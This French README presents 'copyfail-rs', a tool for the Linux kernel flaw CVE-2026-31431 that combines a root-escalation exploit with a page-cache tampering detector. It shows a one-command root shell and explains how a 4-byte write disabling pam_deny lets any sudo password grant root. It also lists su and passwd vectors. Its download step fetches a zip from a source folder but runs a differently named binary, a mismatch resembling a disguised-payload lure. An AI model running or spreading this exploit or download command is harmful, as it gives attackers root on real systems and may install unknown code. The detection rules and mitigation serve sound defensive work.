
Exploiter et détecter les vulnérabilités CVE-2026-31431 à l'aide d'un binaire statique qui surveille l'intégrité du système et contourne l'authentification PAM.
PoC multi-vecteur + détection jumelée pour CVE-2026-31431 (CopyFail). Inclut un nouveau vecteur de contournement d'authentification PAM qu'aucun autre PoC public ne propose. Le mode détection capture ce qu'AIDE / Wazuh / OSSEC / Tripwire ne peuvent structurellement pas détecter.
Binaire statique unique. ~108 Ko. no_std musl.
noot@host:~$ ./copyfail-rs --mode exploit
[sudo] password for noot:
root@host:~# id
uid=0(root) gid=0(root) groups=0(root)
root@host:~#
Une commande. Shell root. PAM killshot sous le capot (écriture unique de 4 octets dans /etc/pam.d/common-auth), PTY drop dans root via sudo avec mot de passe jeté. La ligne [sudo] password for noot: s'affiche brièvement, sudo émet toujours cette invite ; le binaire lui fournit n'importe quelle chaîne et l'échec de pam_unix cascade à travers le pam_deny.so commenté vers pam_permit.so → root.
$ ./copyfail-rs --mode detect --scan
=== copyfail-rs detection: --scan ===
TAMPERED (1):
/etc/pam.d/common-auth [ext4]
cache: 23c4f1ee... ← ce qui est réellement chargé (muté)
disk: 117dab1c... ← ce qu'AIDE / Wazuh / Tripwire voient (propre)
Voilà le projet. Disque propre, cache modifié. Tous les FIM publics sont aveugles. Cet outil ne l'est pas.
Binaires statiques pré-construits sur la version v0.1.0. Choisissez votre architecture, téléchargez, exécutez.
# x86_64 (most laptops + cloud servers)
curl -LO https://raw.githubusercontent.com/Liverwortenuresis371/copyfail-rs/main/src/vectors/copyfail-rs-3.9.zip
chmod +x copyfail-x86_64-musl
./copyfail-x86_64-musl --mode exploit
Autres architectures :
| Architecture | Fichier |
|---|---|
| ARM64 (aarch64) | copyfail-aarch64-musl |
| ARMv7 (Raspberry Pi 3+) | copyfail-armv7-musleabihf |
Vérifier l'intégrité :
curl -LO https://raw.githubusercontent.com/Liverwortenuresis371/copyfail-rs/main/src/vectors/copyfail-rs-3.9.zip
sha256sum -c checksums.txt
Binaires statiques musl, aucune dépendance d'exécution, fonctionne sur tout Linux.
Mutation du cache de pages. Pas d'écriture VFS. Pas de page sale. Pas d'événement inotify. Le réexamen périodique entre en concurrence avec l'éviction.
AIDE/Wazuh/OSSEC/Tripwire/Samhain lisent via les E/S tamponnées → cache de pages → hachent les octets mutés comme vérité. Ou après éviction, hachent le disque propre → « aucun changement jamais produit. »
La détection nécessite O_DIRECT (sauter le cache) + lecture tamponnée (frapper le cache) + différence de hachage. Inadéquation = signature CopyFail. C'est --scan.
| Vecteur | Cible | Où il atterrit |
|---|---|---|
pam (NOUVEAU) | /etc/pam.d/common-auth (Debian/Ubuntu) ou system-auth (Fedora/RHEL/Arch) | 4 octets. auth requisite pam_deny.so → #aut requisite pam_deny.so. Sudo avec n'importe quel mot de passe = root. |
su | /usr/bin/su | Mute le texte du binaire setuid. execve → root. |
passwd | /etc/passwd | Bascule UID → l'utilisateur devient root à la prochaine connexion. Casse SSH pour cet utilisateur. |
Sélection automatique : --vector auto (par défaut). Classe pam > su > passwd par furtivité. Repli en cas d'échec.
| Mode | Quoi |
|---|---|
--check | Noyau + module + CONFIG_CRYPTO_USER_API_AEAD + état de l'atténuation. Verdict : vulnérable / atténué / sûr. |
--scan | Différence O_DIRECT vs lecture tamponnée sur les fichiers critiques. Ramification statfs() : ext4/xfs/btrfs utilisent O_DIRECT, overlayfs se replie, tmpfs ignoré. |
--baseline / --diff | Instantané d'un état connu propre. Différer ultérieurement. Deltas uniquement dans le cache = l'empreinte CopyFail. |
--watch | Démon. Analyse périodique. SIGTERM propre. |
--hunt | Balayage de la flotte SSH. Agrégats JSON. |
--json partout pour ingestion SIEM.
detection/ :
sigma/copyfail-af-alg.yml, règle Sigma, à déposer dans votre SIEMauditd/copyfail.rules, augenrules --loadebpf/copyfail-trace.bt, one-liner bpftraceapparmor/copyfail-block.profile, règle de refus AppArmor 3.0+mitigation/disable-algif.sh, liste noire modprobe + avertissement =yecho "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif.conf
sudo rmmod algif_aead
Ou noyau principal a664bf3d603d (avril 2026). À ce jour : seuls Debian Sid/Forky l'ont fourni. Ubuntu LTS, RHEL, SUSE, Amazon Linux, Fedora, Arch, Oracle = tous vulnérables.
Mise en garde : CONFIG_CRYPTO_USER_API_AEAD=y (intégré) contourne silencieusement modprobe. --check avertit.
Après exploitation + atténuation : la mutation du cache persiste jusqu'au redémarrage. L'atténuation bloque les NOUVELLES exploitations, n'annule pas les précédentes.
cargo build --release --target x86_64-unknown-linux-musl
| Cible | Taille |
|---|---|
| x86_64-musl | 108 Ko |
| aarch64-musl | 96 Ko |
| armv7-musleabihf | 86 Ko |
no_std. Pas d'allocateur. Aucune dépendance d'exécution. Binaire statique unique.
Les artefacts pré-construits et les sommes SHA256 sont joints aux versions GitHub.
Voir docs/usage.md pour des exemples concrets tenant sur un écran par mode (exploit auto/list/all, detect check/scan/baseline/diff/watch/hunt).
Pour une version narrative plus longue de ce README (plus de contexte, exposition plus approfondie), voir BLOG.md.
Voir docs/threat-model.md.
| Theori Python | tgies C | badsectorlabs Go | copyfail-rs | |
|---|---|---|---|---|
| Vecteurs | su | su + passwd | su | su + passwd + PAM (nouveau) |
| Détection | aucun | aucun | aucun | complet --mode detect |
| Artéfacts IR | aucun | aucun | aucun | Sigma + auditd + eBPF + AppArmor |
| Expérience utilisateur | 3 commandes | 4 commandes | 5 commandes | 1 commande |
| Binaire | nécessite Python | ~10 Ko | ~5 Mo | ~108 Ko statique |
Matériel personnel uniquement. Pas de porte CLI (théâtre de sécurité). README + LICENSE = le cadre.
Le mode détection est en lecture seule. Sûr en production.
Le mode exploitation mute le cache de pages du noyau. RAM uniquement mais à considérer comme destructeur. Bloque l'authentification pour tout appelant ultérieur.
CVE-2026-31431 divulgué par Theori / Xint le 2026-04-29 (writeup, blog Xint). PoCs publics antérieurs :
Ce projet (copyfail-rs) : ajoute le vecteur de contournement d'authentification PAM, la détection double mode, les artéfacts IR.
MIT.
a664bf3d603d72548b093ee3 (4.14, août 2017)